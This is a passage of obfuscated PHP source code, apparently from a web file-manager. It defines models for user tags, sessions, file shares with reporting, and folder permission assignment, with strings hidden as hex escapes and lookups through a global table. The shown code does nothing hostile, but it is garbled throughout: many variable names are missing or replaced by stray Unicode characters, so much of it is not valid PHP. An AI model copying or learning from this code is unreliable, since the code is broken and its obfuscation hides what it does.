return Cache::remove("\x55\163\x65\x72\117\160\x74\x69\x6f\x6e\137{$}\x5f" . $Ɣθ); } protected function optionDefault($߮ = '') { $ҁ =& $_SERVER[㫙]; if ($߮ == $ҁ[12]) { return $GLOBALS[$ҁ[6]][$ҁ[2291]]; } if ($߮ == $ҁ[2292]) { return $GLOBALS[$ҁ[6]][$ҁ[2293]]; } } } class UserTagModel extends ModelBaseLight { public $optionType = "\125\x73\145\x72\56\164\x61\147\x4c\151\x73\164"; public $modelType = "\125\x73\145\162\117\x70\x74\151\157\156"; public $field = array("\156\x61\155\145", "\163\164\171\154\x65", "\x73\x6f\x72\164"); public function listData($ؠ = false, $ȸ = "\163\x6f\x72\164", $ = false) { return parent::listData($ؠ, $ȸ, $); } public function remove($Ѕ) { return parent::remove($Ѕ); } public function add($ѻ, $͂ = "\x6c\141\142\145\x6c\x2d\147\x72\x65\x79\55\x6e\157\x72\x6d\141\x6c") { $͜ =& $_SERVER[㫙]; if ($this->findByName($ѻ)) { return !1; } $ = array($͜[421] => $ѻ, $͜[484] => $͂, $͜[1822] => $this->getSort($͜[253]) + 1); return parent::insert($); } public function update($£, $򋔙ď) { $Ñ =& $_SERVER[㫙]; $ = $this->listData($£); $䓝 = $this->findByName($򋔙ď[$Ñ[32]]); if (!$ || $䓝 && $䓝[$Ñ[392]] != $[$Ñ[392]]) { return !1; } return parent::update($£, $򋔙ď); } public function moveTop($⟬) { $ =& $_SERVER[㫙]; $ٲ = parent::listData(); $ = $this->getSort($[252]); foreach ($ٲ as &$) { if ($[$[392]] == $⟬) { $[$[1841]] = $; continue; } $[$[1841]] += 1; } unset($); return parent::resetData($ٲ); } public function moveBottom($) { $˓ =& $_SERVER[㫙]; $ඦ = $this->getSort($˓[253]) + 1; return parent::update($, array($˓[1841] => $ඦ)); } public function resetSort($) { $뺖 =& $_SERVER[㫙]; $ = array(); $ = is_array($) ? $ : array(); for ($ = 0; $ < count($); $++) { $[$[$] . $뺖[12]] = $ + 1; } $ = parent::listData(); foreach ($ as &$ͻ) { $Ӄ = $[$ͻ[$뺖[392]]]; $ͻ[$뺖[1841]] = $Ӄ ? $Ӄ : $ͻ[$뺖[1841]]; } unset($ͻ); return parent::resetData($); } private function getSort($) { $ߣ =& $_SERVER[㫙]; $ = parent::listData(); $ = array_to_keyvalue($, $ߣ[12], $ߣ[1841]); if (!$) { $ = array(0); } $ = $ == $ߣ[253] ? max($) : min($); return intval($); } } goto b̷; EЌ툆: class SessionModel extends ModelBase { protected $tableName = "\x73\x79\x73\164\x65\x6d\137\163\x65\x73\x73\151\x6f\156"; public function get($) { $݆ʆ =& $_SERVER[㫙]; $Ɩ = $this->where(array($݆ʆ[1948] => $))->find(); if (!is_array($Ɩ)) { return !1; } return $Ɩ[$݆ʆ[756]]; } public function set($¾, $ڻ, $ဵ = 3600) { $֪ =& $_SERVER[㫙]; $ = array($֪[1948] => $¾, $֪[1856] => $ڻ, $֪[1949] => $ဵ + time()); if (Session::get($֪[1950])) { $[$֪[1650]] = Session::get($֪[1950]); } else { $[$֪[1650]] = 0; } if ($this->get($¾)) { return $this->where(array($֪[1948] => $¾))->save($); } else { return $this->add($, array(), !0); } } public function remove($䲝) { return $this->where(array($_SERVER[㫙][1948] => $䲝))->delete(); } public function clearTimeout() { return $this->where($_SERVER[㫙][1951] . time())->delete(); } } class ShareModel extends ModelBase { protected $tableName = "\x73\150\141\x72\x65"; protected $dataAuto = array(array("\155\157\144\x69\146\171\124\151\x6d\145", "\164\x69\x6d\x65", "\x69\156\163\x65\162\x74\x2c\165\160\144\141\164\x65", "\x66\x75\x6e\x63\x74\151\x6f\156"), array("\143\162\x65\x61\x74\x65\x54\x69\x6d\145", "\164\151\155\x65", "\x69\x6e\163\x65\x72\164", "\x66\165\156\143\x74\x69\x6f\x6e"), array("\157\x70\164\x69\x6f\156\x73", '', "\x69\x6e\x73\x65\162\164\x2c\165\x70\x64\x61\x74\145\x2c\x73\145\154\x65\x63\x74", "\152\x73\x6f\156")); private $fieldList = "\52"; protected function cacheFunctionAlias($鬟) { $ϵ =& $_SERVER[㫙]; $嗈 = isset($鬟[0]) ? $鬟[0] : !1; return array($ϵ[1952] => array(USER_ID, $ϵ[1953]), $ϵ[1897] => array($嗈, $ϵ[1954])); } protected function listSimple() { $ = array($_SERVER[㫙][1650] => USER_ID); $ = $this->field($this->fieldList)->where($)->select(); return $ ? $ : array(); } protected function getInfo($Ț, $ = false) { $등 =& $_SERVER[㫙]; if ($) { return $this->_getShareInfo(array($등[488] => $Ț)); } $Ѓݜ = $this->cacheFunctionGet($등[1899], $Ț); return $Ѓݜ; } public function getInfoByHash($Ü) { return $this->_getShareInfo(array($_SERVER[㫙][490] => $Ü)); } public function getInfoByPath($) { $Ѥ =& $_SERVER[㫙]; $֗ = array($Ѥ[1650] => USER_ID, $Ѥ[403] => $); return $this->_getShareInfo($֗); } public function getInfoBySourcePath($ٖ) { $і =& $_SERVER[㫙]; $ٍ = array($і[1650] => USER_ID, $і[1170] => $ٖ); return $this->_getShareInfo($ٍ); } private function _getShareInfo($) { $ž =& $_SERVER[㫙]; $轞 = $this->where($)->find(); if (!$轞) { return !1; } $ = array($ž[488] => $轞[$ž[488]]); $NJ = $ž[1955]; $ϳ = Model($ž[596])->order($ž[392])->field($NJ)->where($)->select(); if ($轞[$ž[403]] == $ž[190]) { $轞[$ž[87]] = IO::info($轞[$ž[1170]]); } else { $轞[$ž[87]] = Model($ž[1321])->pathInfo($轞[$ž[403]]); } $轞[$ž[1956]] = $ϳ; return $轞; } protected function getInfoAuth($֪) { $ד =& $_SERVER[㫙]; $ = $this->getInfo($֪); if ($[$ד[1650]] == USER_ID) { $[$ד[414]] = $[$ד[87]][$ד[414]]; } else { $[$ד[414]] = Model($ד[502])->authMake($[$ד[1956]]); } return $; } protected function listData($ٍ = null, $ؽ = 300) { $ҳ =& $_SERVER[㫙]; $Θ = array(array($ҳ[493] => array($ҳ[1008], 0), $ҳ[495] => array($ҳ[1008], 0), $ҳ[1957] => $ҳ[1913])); if ($ٍ == $ҳ[1958]) { $Θ = array($ҳ[493] => 1); } else { if ($ٍ == $ҳ[1155]) { $Θ = array($ҳ[495] => 1); } } $Θ[$ҳ[1650]] = USER_ID; $ = $this->where($Θ)->selectPage($ؽ); return $; } protected function listToMe($϶ѿ = 300) { $ =& $_SERVER[㫙]; $һ = Model($[1959])->userGroupParents(USER_ID); $ = array($[580] => SourceModel::TYPE_USER, $[504] => USER_ID); if ($һ) { $ = array(array($[580] => SourceModel::TYPE_USER, $[504] => USER_ID), array($[580] => SourceModel::TYPE_GROUP, $[504] => array($[7], $һ)), $[1957] => $[1913]); } $ = Model($[596])->where($)->selectPage($϶ѿ); $靮 = array_to_keyvalue_group($[$[364]], $[488]); if (!$靮) { return $; } $¯묱 = $[1960]; $ = array($[488] => array($[419], array_keys($靮)), $[1650] => array($[1010], $[190])); $՘ = $this->field($¯묱)->where($)->select(); foreach ($՘ as $թ => &$) { $[$[1956]] = $靮[$[$[488]]]; } unset($); $ = array($[1961] => $՘, $[1962] => $[$[361]]); return $; } protected function shareAdd($ὧ, $ՠ) { $Թ =& $_SERVER[㫙]; $ = $this->_addShareData($ὧ, $ՠ); if (!empty($ՠ[$Թ[1963]])) { $this->_shareAuthSet($, $ՠ[$Թ[1963]]); } $this->shareEventAdd($ὧ, $ՠ, $Թ[1158]); return $; } protected function shareAddSystem($ۭƷ, $רΆ̴) { $׌ؼ =& $_SERVER[㫙]; $à = $this->_addShareData($ۭƷ, $רΆ̴, $׌ؼ[1270]); $this->_shareAuthSet($à, $רΆ̴[$׌ؼ[1963]]); return $à; } private function shareEventAdd($ي, $އ, $ = "\x61\x64\144") { $ =& $_SERVER[㫙]; if (!$ي || $ي == $[190]) { return; } if ($ == $[1158]) { if ($އ[$[493]] == $[89]) { Model($[564])->eventShare($ي, $[1964]); } if ($އ[$[495]] == $[89]) { Model($[564])->eventShare($ي, $[1965]); } return; } $Ρ = $this->getInfoByPath($ي); $ = $[1966]; if ($Ρ[$[493]] == $[190] && $އ[$[493]] == $[89]) { $ = $[1964]; } if ($Ρ[$[493]] == $[89] && $އ[$[493]] == $[190]) { $ = $[1967]; } if ($Ρ[$[495]] == $[190] && $އ[$[495]] == $[89]) { $ = $[1965]; } if ($Ρ[$[495]] == $[89] && $އ[$[495]] == $[190]) { $ = $[1968]; } Model($[564])->eventShare($ي, $); return; } private function _addShareData($˻, $ɓ = array(), $ = false) { $ =& $_SERVER[㫙]; $ = $ == $[1270] ? 0 : USER_ID; $浈 = array($[418] => $˻, $[1641] => $); if ($˻ == 0) { $浈 = array($[1969] => $ɓ[$[1170]], $[1641] => $); } if ($ = $this->where($浈)->find()) { return $[$[488]]; } if ($˻ == 0) { $阅 = array($[32] => get_path_this($ɓ[$[78]])); } else { $阅 = Model($[826])->sourceInfo($˻); if (!$阅) { return !1; } } if (!$ɓ[$[1548]]) { $ɓ[$[1548]] = $阅[$[32]]; } $ = array($[1641] => $, $[418] => $˻, $[1548] => $[12], $[493] => 0, $[495] => 0, $[1170] => $[12], $[302] => $[12], $[885] => $[12], $[1970] => 0, $[1971] => 0, $[496] => 0, $[497] => $[12], $[490] => $[12]); $ے = explode($[50], $[1972]); foreach ($ے as $ə) { if (!isset($ɓ[$ə])) { continue; } $[$ə] = $ɓ[$ə]; } $ٳ = $this->add($); $Μ = array($[490] => short_id($ٳ)); $this->where(array($[487] => $ٳ))->save($Μ); return $ٳ; } private function _shareAuthSet($灊, $۔) { $ =& $_SERVER[㫙]; if (!is_array($۔)) { return !1; } $Dz = Model($[1923]); $Dz->where(array($[488] => $灊))->delete(); $ȁ = array(); foreach ($۔ as $) { $򾊾 = SourceModel::TYPE_USER; if ($[$[412]] == SourceModel::TYPE_GROUP) { $򾊾 = SourceModel::TYPE_GROUP; } $ۿ = array($[488] => $灊, $[412] => $򾊾, $[504] => intval($[$[504]]), $[1919] => 0, $[1973] => -1); if ($[$[1919]]) { $ۿ[$[1919]] = $[$[1919]]; } else { if ($[$[1973]]) { $ۿ[$[1973]] = $[$[1973]]; } } $ȁ[] = $ۿ; } return $Dz->addAll($ȁ, array(), !0); } public function numViewAdd($) { $ =& $_SERVER[㫙]; $ᡚ = array($[487] => $); $this->where($ᡚ)->setAdd($[1970]); } public function numDownloadAdd($󺢤) { $쁕 =& $_SERVER[㫙]; $ = array($쁕[487] => $󺢤); $this->where($)->setAdd($쁕[1971]); } protected function shareEdit($޴, $Ӵ) { $̲ =& $_SERVER[㫙]; $͗͢ = $this->getInfo($޴); if (!$͗͢) { return !1; } $this->_checkLinkShare($Ӵ, $͗͢); $黄ܻ = array(); $ = explode($̲[50], $̲[1974]); foreach ($ as $) { if (!array_key_exists($, $Ӵ)) { continue; } $黄ܻ[$] = $Ӵ[$]; } $this->shareEventAdd($͗͢[$̲[403]], $Ӵ, $̲[1788]); $this->where(array($̲[487] => $޴))->save($黄ܻ); if (isset($Ӵ[$̲[1963]])) { $this->_shareAuthSet($޴, $Ӵ[$̲[1963]]); } return !0; } private function _checkLinkShare($ЩԔ, $Ư) { $ǡ =& $_SERVER[㫙]; if ($ЩԔ[$ǡ[493]] != $ǡ[89]) { return; } $Ιދ = $Ư[$ǡ[87]][$ǡ[403]]; if ($Ư[$ǡ[87]][$ǡ[33]] != $ǡ[192]) { $҅ = $this->_folderReport($Ιދ); if (!$҅) { return; } show_json(LNG($ǡ[1975]) . $ǡ[1976] . $҅, !1); } $ = Model($ǡ[826])->fileInfoGet($Ư[$ǡ[87]][$ǡ[403]]); if (!$) { return; } $ = $this->shareFileMeta($[$ǡ[467]]); if (isset($[$ǡ[369]]) && $[$ǡ[369]] == $ǡ[89]) { show_json(LNG($ǡ[1977]), !1); } } private function _folderReport($) { $۱ =& $_SERVER[㫙]; $Ǖ = array($۱[467] => array($۱[1008], 0), $۱[751] => 3); $̨ = Model($۱[1978])->where($Ǖ)->field($۱[467])->select(); if (!$̨) { return !1; } $̨ = array_to_keyvalue($̨, $۱[12], $۱[467]); $ = $۱[50] . $ . $۱[50]; $Ǖ = array($۱[467] => array($۱[7], $̨), $۱[521] => array($۱[378], "\x25{$}\45"), $۱[431] => 0); $͍ = Model($۱[826])->where($Ǖ)->field($۱[1979])->find(); if (!$͍) { return !1; } $ = substr($͍[$۱[521]], strpos($͍[$۱[521]], $)); $Ǖ = array($۱[403] => array($۱[7], trim($, $۱[50]))); $Ҥƛ = Model($۱[826])->where($Ǖ)->field($۱[32])->select(); $Ĕꆨ = array_to_keyvalue($Ҥƛ, $۱[12], $۱[32]); $Ĕꆨ[] = $͍[$۱[32]]; return implode($۱[8], $Ĕꆨ); } protected function remove($) { $ =& $_SERVER[㫙]; if (is_array($)) { $ = array($[7], $); } $ = array($[488] => $); $ = $this->where($)->delete(); if ($) { Model($[596])->where(array($[488] => $))->delete(); } $ = is_array($) ? $[1] : array($); for ($ݒ = 0; $ݒ < count($); $ݒ++) { $ܹ = $this->getInfo($[$ݒ]); if ($ܹ[$[495]] == $[89]) { Model($[564])->eventShare($ܹ[$[403]], $[1968]); } if ($ܹ[$[493]] == $[89]) { Model($[564])->eventShare($ܹ[$[403]], $[1967]); } } return $; } protected function removeBySource($) { $ =& $_SERVER[㫙]; $ܶ = array($[418] => array($[419], $)); $ = $this->field($[488])->where($ܶ)->select(); $ = array_to_keyvalue($, $[12], $[488]); if (!$) { return; } $ܶ = array($[487] => array($[419], $)); $this->where($ܶ)->delete(); Model($[596])->where($ܶ)->delete(); } public function listAll($) { $ =& $_SERVER[㫙]; $Ή = array(); if ($[$[1650]]) { $Ή[$[1650]] = $[$[1650]]; } if ($[$[762]]) { $Ƶ = $[$[496]] ? $[$[496]] : strtotime(date($[1980])); $Ή[$[193]] = array($[328], array($[$[762]], $Ƶ)); } if ($[$[33]]) { $Ή[$[$[33]]] = 1; } else { $Ή[] = array($[493] => array($[1008], 0), $[495] => array($[1008], 0), $[1957] => $[1913]); } if ($[$[1909]]) { $Ή[] = array($[490] => $[$[1909]], $[1548] => array($[378], "\x25{$[$[1909]]}\x25"), $[1957] => $[1913]); } $Ѻ = $this->_makeOrder()->where($Ή)->selectPage(20); if (empty($Ѻ[$[364]])) { return array(); } $this->_listDataApply($Ѻ[$[364]]); return $Ѻ; } public function listDataApply($Š) { $this->_listDataApply($Š); return $Š; } private function _listDataApply(&$) { $ =& $_SERVER[㫙]; $ǻ = array_to_keyvalue($, $[12], $[1650]); $ѷ = Model($[538])->userListInfo(array_unique($ǻ)); $է = array_to_keyvalue($, $[12], $[403]); $َ = Model($[826])->sourceListInfo($է, !0); foreach ($ as $ݚ => &$ʚ) { $ = $ʚ[$[1650]]; $ʚ[$[1981]] = $ѷ[$] ? $ѷ[$] : !1; $Ą = $ʚ[$[403]]; $ʚ[$[87]] = $َ[$Ą] ? $َ[$Ą] : !1; if ($ʚ[$[87]][$[431]] == $[89]) { unset($[$ݚ]); } if ($ʚ[$[87]] != $[190] && !$ʚ[$[87]]) { unset($[$ݚ]); } } unset($ʚ); $ = array_values($); } private function _makeOrder($ = '') { $ =& $_SERVER[㫙]; $ܳ = array($[193], $[496], $[1970], $[1971]); $᠆ = array($[448] => $[449], $[450] => $[451]); $㝑 = Input::get($[455], $[7], $[424], $ܳ); $‘ = Input::get($[456], $[7], $[1982], array($[1908], $[450])); $‘ = $᠆[$‘]; $ = $ . "{$㝑}\x20{$‘}"; return $this->order($); } public function reportAdd($ɢ֯) { $ῡ =& $_SERVER[㫙]; $ڐ = array($ῡ[488] => $ɢ֯[$ῡ[488]], $ῡ[1650] => USER_ID); if (Model($ῡ[1978])->where($ڐ)->find()) { return !1; } $ܦ = array($ῡ[488] => $ɢ֯[$ῡ[488]], $ῡ[1548] => $ɢ֯[$ῡ[1548]], $ῡ[403] => $ɢ֯[$ῡ[403]], $ῡ[467] => $ɢ֯[$ῡ[467]], $ῡ[1650] => USER_ID, $ῡ[33] => $ɢ֯[$ῡ[33]], $ῡ[451] => $ɢ֯[$ῡ[451]]); return Model($ῡ[1978])->add($ܦ); } public function reportList($̺) { $Յ =& $_SERVER[㫙]; $ϳ = array(); if ($̺[$Յ[762]]) { $ = $̺[$Յ[496]] ? $̺[$Յ[496]] : strtotime(date($Յ[1980])); $ϳ[$Յ[193]] = array($Յ[328], array($̺[$Յ[762]], $)); } if (isset($̺[$Յ[33]]) && in_array($̺[$Յ[33]], array($Յ[89], $Յ[435], $Յ[1983], $Յ[1984], $Յ[1985]))) { $ϳ[$Յ[33]] = $̺[$Յ[33]]; } if (isset($̺[$Յ[751]]) && in_array($̺[$Յ[751]], array($Յ[190], $Յ[89], $Յ[435], $Յ[1983]))) { $ϳ[$Յ[751]] = $̺[$Յ[751]]; } $م = Input::get($Յ[456], $Յ[7], $Յ[1982], array($Յ[1908], $Յ[450])); $ = array($Յ[448] => $Յ[449], $Յ[450] => $Յ[451]); $ʲ = $Յ[1986] . $[$م]; $ = Model($Յ[1978])->where($ϳ)->order($ʲ)->selectPage(20); if (empty($[$Յ[364]])) { return array(); } $۲ = array_to_keyvalue_group($[$Յ[364]], $Յ[751], $Յ[488]); if (!empty($۲[0])) { $̺ = $۲[0]; $ϳ = array($Յ[488] => array($Յ[7], $̺)); $܊ = $this->where($ϳ)->field($Յ[488])->select(); $܊ = array_to_keyvalue($܊, $Յ[12], $Յ[488]); $ʟ = array_diff($̺, $܊); if (!empty($ʟ)) { foreach ($[$Յ[364]] as $— => $࿵) { if (in_array($࿵[$Յ[488]], $ʟ)) { unset($[$Յ[364]][$—]); } } } } $this->_listDataApply($[$Յ[364]]); return $; } public function reportStatus($) { $޸ =& $_SERVER[㫙]; $ = array($޸[392] => $[$޸[392]]); $ʪڡ = Model($޸[1978])->where($)->field($޸[1987])->find(); if (!$ʪڡ) { return !1; } $ = array($޸[751] => $[$޸[751]]); if ($[$޸[751]] == $޸[1983] && $ʪڡ[$޸[751]] == $޸[1983]) { $[$޸[751]] = 0; } $ɴ = Model($޸[1978])->where($)->save($); if ($[$޸[751]] == $޸[435]) { if ($ʪڡ[$޸[467]] != $޸[190] && $this->shareFileMeta($ʪڡ[$޸[467]])) { $this->shareFileMeta($ʪڡ[$޸[467]], 0); } $this->remove($ʪڡ[$޸[488]]); return !0; } if ($ɴ && $[$޸[751]] == $޸[1983]) { $ɬ = $[$޸[751]] == $޸[1983] ? 1 : 0; $this->shareFileMeta($ʪڡ[$޸[467]], $ɬ); $this->removeByFile($ʪڡ[$޸[467]]); } return $ɴ; } private function removeByFile($۔̍) { $ޓ =& $_SERVER[㫙]; $٭ = Model($ޓ[826])->where(array($ޓ[467] => $۔̍))->field($ޓ[403])->select(); $Б = array_to_keyvalue($٭, $ޓ[12], $ޓ[403]); $ = array($ޓ[403] => array($ޓ[7], $Б), $ޓ[493] => 1); $٭ = $this->where($)->field($ޓ[488])->select(); if (empty($٭)) { return; } $Ď䨑 = array_to_keyvalue($٭, $ޓ[12], $ޓ[488]); $this->remove($Ď䨑); } private function shareFileMeta($ٝ, $ӵ = null) { $̒ =& $_SERVER[㫙]; $ = array($̒[467] => $ٝ, $̒[95] => $̒[1988]); if (is_null($ӵ)) { return Model($̒[1989])->where($)->find(); } $[$̒[369]] = $ӵ; Model($̒[1989])->add($, array(), !0); } } class SourceAuthModel extends ModelBase { protected $tableName = "\151\x6f\137\163\x6f\x75\162\143\145\x5f\x61\x75\x74\150"; public function getAuth($) { $ =& $_SERVER[㫙]; $č = $this->sourceAuthSelect($); $ŀǦ = array(); $ = array(); $ = 2 << 25; foreach ($č as $) { $ߠ = Model($[507])->listData($[$[1919]]); if (!$ߠ) { continue; } $ŀǦ[] = $; $ɠ = 0; if ($[$[412]] == SourceModel::TYPE_GROUP) { $ɠ = $ * 2; } if ($[$[412]] == SourceModel::TYPE_USER) { $ɠ = $; } if ($[$[412]] == SourceModel::TYPE_USER && $[$[504]] == $[190]) { $ɠ = 0; } $[] = $ߠ[$[414]] + $ɠ; } array_multisort($, SORT_DESC, $ŀǦ); return $ŀǦ; } public function sourceAuthSelect($阷) { $Ѫ =& $_SERVER[㫙]; static $ = array(); $Ի = is_array($阷) ? !1 : !0; if ($Ի) { $阷 = array($阷); } $͙ = array(); foreach ($阷 as $) { if (isset($[$])) { $͙[$] = $[$]; } } if (count($͙) == count($阷)) { return $Ի ? $͙[$阷[0]] : $͙; } $ = $Ѫ[1990]; $Д = array($Ѫ[403] => array($Ѫ[7], $阷)); $ӏ = $this->field($)->order($Ѫ[392])->where($Д)->select(); $ = array_to_keyvalue_group($ӏ, $Ѫ[403]); foreach ($阷 as $) { $[$] = $[$] ? $[$] : array(); } if ($Ի) { return $ӏ; } return $; } public function setAuth($Ф, $) { $պ =& $_SERVER[㫙]; $— = Model($պ[1321])->sourceInfo($Ф); if (!$—) { return !1; } if ($—[$պ[412]] != SourceModel::TYPE_GROUP) { return !1; } $ߞ = 1; $ = $—[$պ[504]]; if ($ != $ߞ) { $˕ = array($պ[1818] => $); $ = Model($պ[1907])->field($պ[1650])->where($˕)->select(); $ = array_to_keyvalue($, $պ[12], $պ[1650]); } $݈ = array(SourceModel::TYPE_GROUP, SourceModel::TYPE_USER); $Ɏ͍ = array(); foreach ($ as $ſ) { if (!in_array($ſ[$պ[412]], $݈)) { show_json(LNG($պ[1991]), !1); } if ($ != $ߞ) { if ($ſ[$պ[412]] == SourceModel::TYPE_GROUP) { } if ($ſ[$պ[504]] != 0 && !in_array($ſ[$պ[504]], $)) { } } if ($ſ[$պ[504]] == 0) { $ſ[$պ[412]] = SourceModel::TYPE_USER; } $Ɏ͍[] = array($պ[403] => $Ф, $պ[412] => intval($ſ[$պ[412]]), $պ[504] => intval($ſ[$պ[504]]), $պ[1919] => intval($ſ[$պ[1919]]) ? intval($ſ[$պ[1919]]) : 0, $պ[1973] => intval($ſ[$պ[1973]]) ? intval($ſ[$պ[1973]]) : -1); } $this->where(array($պ[418] => $Ф))->delete(); $this->addAll($Ɏ͍); return !0; } public function authClear($Ѳ) { $ =& $_SERVER[㫙]; $ = Model($[1321])->sourceInfo($Ѳ); $ώ = array($Ѳ); if ($[$[411]] == $[89]) { $ = array($[584] => array($[544], $[$[521]] . $Ѳ . $[545])); $ώ = Model($[1321])->field($[418])->where($)->getField($[403], !0); $ώ[] = $Ѳ; } $this->where(array($[418] => array($[419], $ώ)))->delete(); return !0; } public function getAllChildren($͖) { $ =& $_SERVER[㫙]; $՛ = Model($[1321])->sourceInfo($͖); if ($՛[$[411]] != $[89]) { return $this->sourceListAuth(array($͖)); } if ($՛[$[412]] != SourceModel::TYPE_GROUP) { return array(); } $Ĥ = 1; $م = array($͖); if ($՛[$[498]] == $[190] && $՛[$[504]] != $Ĥ) { $م = $this->groupChidldAllRootSource($՛[$[504]]); } $ۥ = $this->field($[403])->group($[403])->select(); $ۥ = array_to_keyvalue($ۥ, $[12], $[403]); if (!$ۥ) { return array(); } $׫ = $[1992]; $끩 = array($[403] => array($[7], $ۥ), $[431] => $[190]); $з = Model($[826])->field($׫)->where($끩)->select(); $͟ = array($͖); foreach ($з as $췥) { foreach ($م as $б) { $嫒 = $[50] . $б . $[50]; $ʧ = $췥[$[521]] . $췥[$[403]] . $[50]; if (strstr($ʧ, $嫒)) { $͟[] = $췥[$[403]]; break; } } } return $this->sourceListAuth($͟); } private function sourceListAuth($ع) { $ᨄ =& $_SERVER[㫙]; $»џ = Model($ᨄ[1321])->sourceListInfo($ع, !0); $ = $this->sourceAuthSelect($ع); $͞༨ = array(); $ = array(); foreach ($»џ as $ɨ) { unset($ɨ[$ᨄ[454]]); unset($ɨ[$ᨄ[452]]); unset($ɨ[$ᨄ[414]]); unset($ɨ[$ᨄ[87]]); $𣝻֥ = $[$ɨ[$ᨄ[403]]]; if (!$𣝻֥) { continue; } $ɨ[$ᨄ[1993]] = $this->authTargetInfo($𣝻֥); $ɨ[$ᨄ[519]] = rtrim($ɨ[$ᨄ[525]], $ᨄ[8]) . $ᨄ[8] . ltrim($ɨ[$ᨄ[519]], $ᨄ[8]); $͞༨[] = $ɨ; $ǰ = count(explode($ᨄ[8], trim($ɨ[$ᨄ[519]], $ᨄ[8]))); $[] = $ǰ + ($ɨ[$ᨄ[33]] == $ᨄ[79] ? 0 : 1000); } array_multisort($, SORT_ASC, $͞༨); return $͞༨; } private function groupChidldAllRootSource($) { $ƅ =& $_SERVER[㫙]; $ɋ = Model($ƅ[1994])->groupChildrenAll($); $񝪚 = array($ƅ[498] => 0, $ƅ[504] => array($ƅ[7], $ɋ), $ƅ[412] => SourceModel::TYPE_GROUP); $ = Model($ƅ[826])->field($ƅ[403])->where($񝪚)->select(); $ = array_to_keyvalue($, $ƅ[12], $ƅ[403]); return $; } private function authTargetInfo($ڐ) { $٨ =& $_SERVER[㫙]; $Ḧ = array(); $ = array(); $ = 2 << 25; foreach ($ڐ as $) { $ = Model($٨[507])->listData($[$٨[1919]]); if (!$) { continue; } if ($[$٨[412]] == SourceModel::TYPE_USER) { $Ӈ = Model($٨[513])->getInfoSimpleOuter($[$٨[504]]); if ($Ӈ[$٨[1650]] == $٨[1184]) { continue; } if ($Ӈ[$٨[1650]] == $٨[190]) { $Ӈ[$٨[32]] = LNG($٨[1995]); } } else { $Ӈ = Model($٨[522])->getInfoSimple($[$٨[504]]); } if (!$Ӈ) { continue; } $Ӈ[$٨[466]] = $; $Ḧ[] = $Ӈ; $ = 0; if ($[$٨[412]] == SourceModel::TYPE_GROUP) { $ = $ * 2; } if ($[$٨[412]] == SourceModel::TYPE_USER) { $ = $; } if ($[$٨[412]] == SourceModel::TYPE_USER && $[$٨[504]] == $٨[190]) { $ = 0; } $[] = $[$٨[414]] + $; } array_multisort($, SORT_DESC, $Ḧ); return $Ḧ; } public function getAllChildrenByUser($, $ͱ) { $ڍ =& $_SERVER[㫙]; $Ţ = Model($ڍ[538])->getInfo($ͱ); if (!$ͱ || !$ || !$Ţ) { return array(); } $ = Model($ڍ[1321])->sourceInfo($); $ɜ֪ = array(); $Ի = 1; if ($[$ڍ[498]] == $ڍ[190] && $[$ڍ[504]] != $Ի && $this->groupContainUser($[$ڍ[504]], $ͱ)) { foreach ($Ţ[$ڍ[1996]] as $˕) { $ק = Model($ڍ[522])->getInfo($˕[$ڍ[1818]]); $ڿ = Model($ڍ[538])->getInfoSimpleOuter($ͱ); $ڿ[$ڍ[466]] = $˕[$ڍ[414]]; if (Model($ڍ[507])->authCheckAction($˕[$ڍ[414]][$ڍ[414]], $ڍ[1838])) { continue; } $Դ = array($ڍ[32] => $ڍ[1599] . $ק[$ڍ[32]], $ڍ[403] => $ק[$ڍ[87]][$ڍ[403]], $ڍ[78] => KodIO::make($ק[$ڍ[87]][$ڍ[403]]), $ڍ[498] => $ڍ[190], $ڍ[412] => $ڍ[515], $ڍ[33] => $ڍ[548], $ڍ[519] => $ק[$ڍ[526]], $ڍ[1818] => $ק[$ڍ[1818]], $ڍ[523] => $ק[$ڍ[498]], $ڍ[1993] => array($ڿ)); $ɜ֪[$Դ[$ڍ[403]]] = $Դ; } } $ٻ = array(); $ = $this->getAllChildren($); foreach ($ as $ܮ) { $ = !1; foreach ($ܮ[$ڍ[1993]] as $) { if ($[$ڍ[1650]]) { if ($[$ڍ[1650]] == $ͱ) { $ = !0; break; } } if ($[$ڍ[1818]]) { if ($this->groupContainUser($[$ڍ[1818]], $ͱ)) { $ = !0; break; } } } if ($) { $ٻ[] = $ܮ; } $ = $ܮ[$ڍ[403]]; if (isset($ɜ֪[$])) { $ܮ[$ڍ[1993]][] = $ɜ֪[$][0]; $ɜ֪[$] = !1; } } $ɜ֪ = array_filter(array_values($ɜ֪)); $ٻ = array_merge($ɜ֪, $ٻ); return $ٻ; } public function setAllChildrenByUser($ʛע, $, $) { $󔓏 =& $_SERVER[㫙]; $⩷ = $this->getAllChildrenByUser($ʛע, $); if (!$ || !$⩷) { return !1; } foreach ($⩷ as $ǘ) { $¢ = array(); foreach ($ǘ[$󔓏[1993]] as $Ԃ) { $ = $Ԃ[$󔓏[466]]; $ = $Ԃ[$󔓏[1650]] ? SourceModel::TYPE_USER : SourceModel::TYPE_GROUP; $ = $Ԃ[$󔓏[1650]] ? $Ԃ[$󔓏[1650]] : $Ԃ[$󔓏[1818]]; if ($Ԃ[$󔓏[1650]] && $Ԃ[$󔓏[1650]] == $) { continue; } $¢[] = array($󔓏[403] => $ǘ[$󔓏[403]], $󔓏[412] => $, $󔓏[504] => intval($), $󔓏[1919] => isset($[$󔓏[392]]) ? intval($[$󔓏[392]]) : 0, $󔓏[1973] => isset($[$󔓏[1973]]) ? intval($[$󔓏[1973]]) : -1); } $¢[] = array($󔓏[403] => $ǘ[$󔓏[403]], $󔓏[412] => SourceModel::TYPE_USER, $󔓏[504] => intval($), $󔓏[1919] => intval($), $󔓏[1973] => -1); $this->where(array($󔓏[418] => $ǘ[$󔓏[403]]))->delete(); $this->addAll($¢); } return !0; } public function get($) { $ǿ = $this->getSourceList(array($), !0); return $ǿ[0]; } public function getSourceList($Ԡ, $ = false, $ = false) { $ =& $_SERVER[㫙]; if (!$Ԡ) { return array(); } $ֈȟ = Model($[1321]); if (!$ && count($Ԡ) == 1) { $ = array(); $[$Ԡ[0]] = $ֈȟ->sourceInfo($Ԡ[0]); } if (!$) { $ = array($[418] => array($[419], $Ԡ)); $ = $ֈȟ->field($[1997])->where($)->select(); $ = array_to_keyvalue($, $[403]); } $ = $Ԡ; foreach ($ as $͹ => $և) { $稕 = $ֈȟ->parentLevelArray($և[$[521]]); $ = array_merge($, array($͹), array_reverse($稕)); } $ = array_values(array_unique($)); if (!$) { return array(); } $ʅ = $this->sourceAuthSelect($); $ = array(); foreach ($ as $稜Ǘ) { if (isset($ʅ[$稜Ǘ])) { 